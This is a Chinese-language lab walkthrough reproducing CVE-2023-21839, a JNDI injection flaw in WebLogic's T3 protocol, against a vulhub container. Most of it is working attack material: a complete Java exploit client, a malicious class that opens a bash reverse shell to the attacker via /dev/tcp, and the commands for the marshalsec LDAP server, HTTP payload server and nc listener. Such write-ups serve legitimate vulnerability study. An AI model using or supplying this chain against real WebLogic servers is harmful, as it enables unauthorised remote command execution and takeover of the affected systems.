CVE-2023-21839
影响范围:
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞类型:
未授权访问、JNDI注入、Java反序列化
操作系统限制:
无
配置要求:
7001端口对外开放
漏洞利用:
命令执行,反弹shell
利用原理:
WebLogic默认开启T3协议用于内部分布式通信,T3协议某些接口没有对调用者进行身份校验,WebLogic内部中的一个叫weblogic.deployment.jms.ForeignOpaqueReference的类是用来引用外部资源的,当把这个类的一个实例发送给WebLogic会触发getReferent()方法,WebLogic会自动根据对象内部存储的remoteJNDIName发起新的请求,攻击者利用反射机制,强行将remoteJNDIName改成恶意的ldap://攻击机ip:1389/Exploit。WebLogic访问marshalsec(LDAP)时,marshalsec返回一个引用对象,里面含有编译存放反弹shell敏感命令的恶意class,WebLogic通过HTTP下载恶意class,后续在Java加载类时,会自动执行static{...}块里的代码,由于WebLogic是以高权限运行,代码里面的敏感命令被执行
漏洞复现:
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2023-21839
#拉取镜像
docker-compose up -d
直接http://靶机ip:7001/console,重定向到登录界面http://靶机ip:7001/console/login/LoginForm.jsp

这里在靶机创建攻击脚本CVE_2023_21839.java,后续要用到WebLogic的两个客户端库来构建jar包
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
在同一个目录拉取WebLogic客户端库
#拷贝第一个包
docker cp e13e9edb8ab2:/u01/oracle/wlserver/server/lib/wlthint3client.jar ./wlthint3client.jar
#拷贝第二个包
docker cp e13e9edb8ab2:/u01/oracle/coherence/lib/coherence.jar ./coherence.jar
靶机使用jdk1.8,用于拉取WebLogic内部的jar包

生成攻击jar包
#编译 (Linux 下多个 jar 包用冒号 : 隔开)
javac -cp "wlthint3client.jar:coherence.jar" CVE_2023_21839.java
#生成攻击 jar 包
jar cfe exploit.jar CVE_2023_21839 CVE_2023_21839.class
传到攻击机,搭python服务器之间下载三个jar包
wget http://靶机ip:开放端口/exploit.jar
wget http://靶机ip:开放端口/wlthint3client.jar
wget http://靶机ip:开放端口/coherence.jar
下载工具marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec && mvn clean package -DskipTests
创建Exploit.java
import java.util.*;
import java.io.*;
public class Exploit {
static {
try {
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}
编译
javac Exploit.java
开启python临时服务器
python3 -m http.server 服务器端口
到/marshalsec/target目录下,并开放1389端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机ip:临时服务器端口/#Exploit" 1389
用nc开启监听

发起攻击
java -cp "exploit.jar:wlthint3client.jar:coherence.jar" CVE_2023_21839 靶机:7001 ldap://攻击机:1389/Exploit
靶机请求连接LDAP服务,marshalsec诱导WebLogic请求外部HTTP地址

python临时服务器出现靶机请求记录

成功连接
